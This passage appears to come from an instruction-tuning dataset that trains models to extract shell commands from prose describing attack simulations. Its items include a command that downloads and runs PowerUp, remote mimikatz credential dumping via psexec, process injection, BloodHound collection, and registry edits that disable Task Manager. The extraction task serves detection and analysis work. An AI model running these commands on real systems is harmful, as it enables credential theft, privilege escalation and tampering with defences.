Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute known malicious PowerShell cmdlets while simulating their behavior, use the following command:\n$malcmdlets = #{Malicious_cmdlets}\nforeach ($cmdlets in $malcmdlets) {\n    \"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\"}\nforeach ($cmdlets in $malcmdlets) {\n    $cmdlets}\n; For checking privilege escalation possibilities with PowerUp, execute this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks",
    "output": "{\"command_list\": [\"$malcmdlets = #{Malicious_cmdlets}\\nforeach ($cmdlets in $malcmdlets) {\\n    \\\"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\\\"}\\nforeach ($cmdlets in $malcmdlets) {\\n    $cmdlets}\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To change the ownership of a file to root, use the following command: sudo #{compiled_file} #{source_file}; You can copy the new loginwindow.plist file to launch Calculator with this command: cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist",
    "output": "{\"command_list\": [\"sudo #{compiled_file} #{source_file}\\n\", \"cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remotely dump LSASS process content for RID 500 using mimikatz via psexec with code injection, run the following command: \"#{psexec_path}\" /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"; This procedure creates a local section, copies shellcode, and executes it in a remote process via the command: $notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\"",
    "output": "{\"command_list\": [\"\\\"#{psexec_path}\\\" /accepteula \\\\\\\\#{machine} -c #{mimikatz_path} \\\"lsadump::lsa /inject /id:500\\\" \\\"exit\\\"\\n\", \"$notepad = Start-Process notepad -passthru\\nStart-Process \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\InjectView.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For file encryption using 7z, execute this command: 7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\n; To encrypt the specified file(s), use the following command: openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\n",
    "output": "{\"command_list\": [\"7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\\n\", \"openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Windows Task Manager for the current user, you can modify the registry by running the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskmgr /t REG_DWORD /d 1 /f; To disable the Windows notification center for the current user, modify the registry by running this command in the cmd console: reg add HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Explorer /v DisableNotificationCenter /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableTaskmgr /t REG_DWORD /d 1 /f\\n\", \"reg add HKEY_CURRENT_USER\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Explorer /v DisableNotificationCenter /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To grant a file the capability to set UID without flags, use the following commands: touch #{file_to_setcap}\nsudo setcap cap_setuid=ep #{file_to_setcap}\n; To identify files with the setuid bit enabled, run the following command: find /usr/bin -perm -4000",
    "output": "{\"command_list\": [\"touch #{file_to_setcap}\\nsudo setcap cap_setuid=ep #{file_to_setcap}\\n\", \"find /usr/bin -perm -4000\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For process identification through WMI, use the command: wmic process get /format:list; To identify specific processes for potential exploitation, adversaries can leverage command line tools with the following command: tasklist | findstr #{process_to_enumerate}",
    "output": "{\"command_list\": [\"wmic process get /format:list\\n\", \"tasklist | findstr #{process_to_enumerate}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { 